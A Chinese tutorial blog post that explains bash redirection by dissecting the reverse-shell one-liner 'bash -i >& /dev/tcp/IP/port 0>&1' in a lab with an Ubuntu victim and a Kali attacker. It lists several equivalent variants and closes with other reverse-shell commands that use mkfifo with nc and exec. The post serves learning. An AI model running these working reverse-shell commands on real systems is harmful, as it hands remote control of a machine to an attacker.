浅析重定向与反弹Shell命令

0×01    简介

反弹shell在漏洞证明和利用的过程中都是一个直接有力的手段。由于安全工作或者学习的需要,我们或多或少都会接触到各种反弹shell的命令,于是就有了这个能稍微帮助初学者理解的文档。

下面这个场景十分常见,攻击者在机器上监听相应端口,在受害者机器执行反弹shell命令,然后get shell。

israbye FreeBuf.COM

 

0×02    速食

 

那么这个反弹shell命令到底是什么意思呢

 

bash -i >&/dev/tcp/192.168.190.138/6666 0>&1

 

 

 对于速食主义者,后面的内容可以选择忽略

 

命令解释
bash -i 产生一个交互式bash
>& /dev/tcp/ip/port 建立TCP连接,并将标准输出和错误重定向到TCP连接
0>&1 从TCP连接获取输入

0×03    分析

 

其实这里就涉及到重定向的知识

 

接下来我们分解一下命令 

 

 

首先是两个容易理解的部分

 

I          bash -i

 

       bash -i是启动一个交互式shell。

israbye FreeBuf.COM

 

      交互式shell的意思就是跟用户交互,你输入一行命令,shell就执行一行命令。当然,有交互式就有非交互式,一个 shell脚本的运行方式,就是非交互式shell。使用echo $-可以查看是否是交互式shell

 

israbye FreeBuf.COM

 

II        /dev/tcp/ip/port

 

      然后是/dev/tcp/192.168.190.138/6666

 

      这个实际上就是和192.168.190.138:6666建立TCP连接,linux一切皆文件的思想在这里体现

 

     输出到TCP连接

 

israbye FreeBuf.COM

 

     从TCP连接读取

 

israbye FreeBuf.COM

 

III      重定向

 

      >命令大家都不陌生,就是把输出重定向

 

      那么这里就可以组成一个命令

 

bash -i > /dev/tcp/192.168.190.138/6666

 

 

      就是建立一个交互式shell,然后把输出重定向到TCP连接

 

      演示中ubuntu作为受害者,kali作为攻击者

 

      ubuntu执行这个命令,可以看到建立了一个交互式shell和一个连接,然后在上面ubuntu 上执行id,可以看到结果输出在下面的kali中

 

israbye FreeBuf.COM

 

      >测试过了,<命令大家也不陌生,就是读取输入。那么

 

bash -i < /dev/tcp/192.168.190.138/6666

 

      大家也很容易理解,就是从TCP连接中读取输入。

 

 

      在ubuntu上执行上述命令后,建立了交互式bash和TCP 连接,然后从TCP连接读取输入到bash执行,这个时候需要在下面的kali中执行命令,然后结果会显示到上面的 ubuntu中

 

israbye FreeBuf.COM

 

IV      奇怪的反弹shell

 

bash -i > /dev/tcp/192.168.190.138/6666

 

 

bash -i < /dev/tcp/192.168.190.138/6666

 

 

 这样的话,结合上述两个命令的功能

 

bash -i > /dev/tcp/192.168.190.138/6666 0>&1

 

 

 就可以从TCP连接获取命令输入,然后输出到TCP连接中,一个基本的反弹shell 功能已经完成。可以在kali中输入id命令并显示命令结果。

 

israbye FreeBuf.COM

 

      那么,大家会发现一个比较奇怪的现象,攻击端可以顺利输入命令获得命令回显了,但是执行的命令在受害者机器上会显示,比如在kali上输入命令id ,id命令会回显到ubuntu中,终端提示符name@host也在受害者机器回显。什么鬼?这个问题在后面会解决。

 

israbye FreeBuf.COM

 

V        >& <&的作用

 

      那么>&中&的作用是什么

 

      用过linux后台命令的都知道,单独的一个&可以表示在后台运行,但是和 ><连用的&绝对不表示在后台运行。

 

      一般情况下,注意是一般,&和<>连用是为了将纯数字名文件和文件描述符区分开。 注意以下命令的区别。

 

name 2>1

 

 

name 2>&1

 

 

     我们知道文件描述符0,1,2分别表示stdin,stdout和 stderr

 

比如我输入一个name命令,该命令在ubuntu中默认是不存在的,这个时候会产生错误,并输出一大堆东西到标准错误

 

israbye FreeBuf.COM

 

      我想把标准错误2重定向到标准输入1,怎么办

 

      输入name 2>1吗, 我们试试。

 

israbye FreeBuf.COM

 

israbye FreeBuf.COM

 

      可以看到,其实这样直接创建了一个名称为数字1的文件,并没有重定向到标准输出1

 

 

 

      正确的做法是应该是执行name 2>&1(这里的1才表示标准输出)

 

      所以一般情况下,>&和<&的右边的 &都是为了和纯数字文件区别开。

 

      在&右边为非纯数字文件的情况下,>&是什么意思呢,实际上 >&不是一个单独的命令,完整的形式应该是n>&word|digit,有一个比较复杂的逻辑。

 

      我们先看一个简单的版本>&word,也就是n省略

 

israbye FreeBuf.COM

 

       >&word和&>word都表示的是把标准输出和标准错误同时重定向到某个文件,都相当于>word 2>&1。 那么也就是

 

bash -i >& /dev/tcp/192.168.190.138/6666

 

 

      相当于

 

bash -i >/dev/tcp/192.168.190.138/6666 2>&1

 

 

      执行命令,从ubuntu输入命令,输出和错误都在kali上显示

 

israbye FreeBuf.COM

 

VI      Figure out

 

还记得上面那个奇怪的现象吗。执行命令

 

bash -i > /dev/tcp/192.168.190.138/6666 0>&1

 

 

israbye FreeBuf.COM

 

那么这里

 

bash -i > /dev/tcp/192.168.190.138/6666 0>&1

 

 

对比命令

 

bash -i >& /dev/tcp/192.168.190.138/6666 0>&1

 

 

在bash -i >后面少了一个&,结合上面所学,实际上就是后面少了一个2>&1 ,也就是缺少标准错误的重定向。

 

israbye FreeBuf.COM

 

标准错误2不仅显示错误信息,居然还有回显输入命令和终端提示符的作用,是否有一种打开了新世界的小门的感觉。

 

 

 

到这,大家应该对重定向和反弹shell都有了一定的了解。

 

那么,还有一份大礼包。就是n<&word和n>&word的情形,实际上就对应到 0>&1或者0<&1的解释。

 

israbye FreeBuf.COM

 

VII    trick

 

理解上述大礼包之后,那么对于下面这个命令

 

bash -i>& /dev/tcp/192.168.190.138/6666 0>&1

 

 

实际上以下形式都等价

 

bash -i &>/dev/tcp/192.168.190.138/6666 0>&1

 

 

 

bash -i>& /dev/tcp/192.168.190.138/6666 0<&1

 

 

bash -i>& /dev/tcp/192.168.190.138/6666 <&1

 

 

bash -i>& /dev/tcp/192.168.190.138/6666 <&2

 

 

bash -i 1>/dev/tcp/192.168.190.138/6666 2>&1 0>&1

 

 

VIII  简单总结

 

 >&word &>word 表示 >word 2>&1

 

n>&word|digit 表示复制输出描述符给n

 

n<&word|digit 表示复制输入描述符给n

 

0<&word可以简写为<&word

 

1>word可以简写为>word

 

IX      举一反三

 

还有一些其他的反弹shell命令,试着读读,是不是能够理解,异曲同工

 

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.190.138 6666>/tmp/f

 

 

israbye FreeBuf.COM

 

exec 5<>/dev/tcp/192.168.190.138/6666;cat <&5|while read line;do $line>&5 2>&1;done

 

israbye FreeBuf.COM

 

0×04    其他   

 

      感觉manual很重要,很多问题某度不出个靠谱的结果:对于这个反弹shell命令,高手一看就明白,不屑于写文章;初学者可能看不太懂,还容易被某度带偏。当然搞明白这个反弹 shell和重定向,似乎也感觉暂时也没什么大用,不过储备一点知识总是好的,说不定哪天就用上了。

 

      Anyway,其实很多东西在官方手册中都可以获得解答,在下列手册中查看3.6 Redirections章,你会豁然开朗。限于知识水平,本篇的内容表述不一定准确,请自己在手册中体会。

 

https://www.gnu.org/software/bash/manual/bash.pdf

 

israbye FreeBuf.COM

posted on 2018-06-12 11:44  让编程成为一种习惯  阅读(673)  评论(0编辑  收藏  举报